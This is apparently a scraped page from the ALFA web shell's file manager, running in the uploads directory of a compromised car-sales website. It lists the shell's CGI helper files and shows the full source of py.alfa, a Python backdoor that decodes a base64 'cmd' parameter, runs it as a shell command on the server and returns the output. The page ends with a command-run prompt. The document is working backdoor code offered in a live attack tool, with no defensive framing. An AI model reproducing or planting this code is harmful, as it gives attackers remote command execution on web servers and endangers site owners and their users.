/
var
/
www
/
vhosts
/
m-auto.co
/
httpdocs
/
uploads
/
cars
/
ALFA_DATA
/
alfacgiapi
/
/var/www/vhosts/m-auto.co/httpdocs/uploads/cars/ALFA_DATA/alfacgiapi
mkdir
upload
Name
Size
Mode
Actions
.htaccess
146
0644
edit
dl
rm
bash.alfa
1555
0755
edit
dl
rm
perl.alfa
542
0755
edit
dl
rm
py.alfa
463
0755
edit
dl
rm
Edit:
/var/www/vhosts/m-auto.co/httpdocs/uploads/cars/ALFA_DATA/alfacgiapi/py.alfa
(463B)
#!/usr/bin/python try: import cgitb; cgitb.enable() except: pass import os,cgi,base64 form = cgi.FieldStorage(environ={'REQUEST_METHOD':'POST'}) cmd = form.getvalue('cmd') check = form.getvalue('check') print "Content-type:text/html\r\n\r\n" if cmd: print base64.b64decode(check)+"<pre>" child_stdin, child_stdout = os.popen2(base64.b64decode(cmd)) child_stdin.close() result = child_stdout.read() child_stdout.close() print result.strip() print "</pre>"
Save
cmd:
run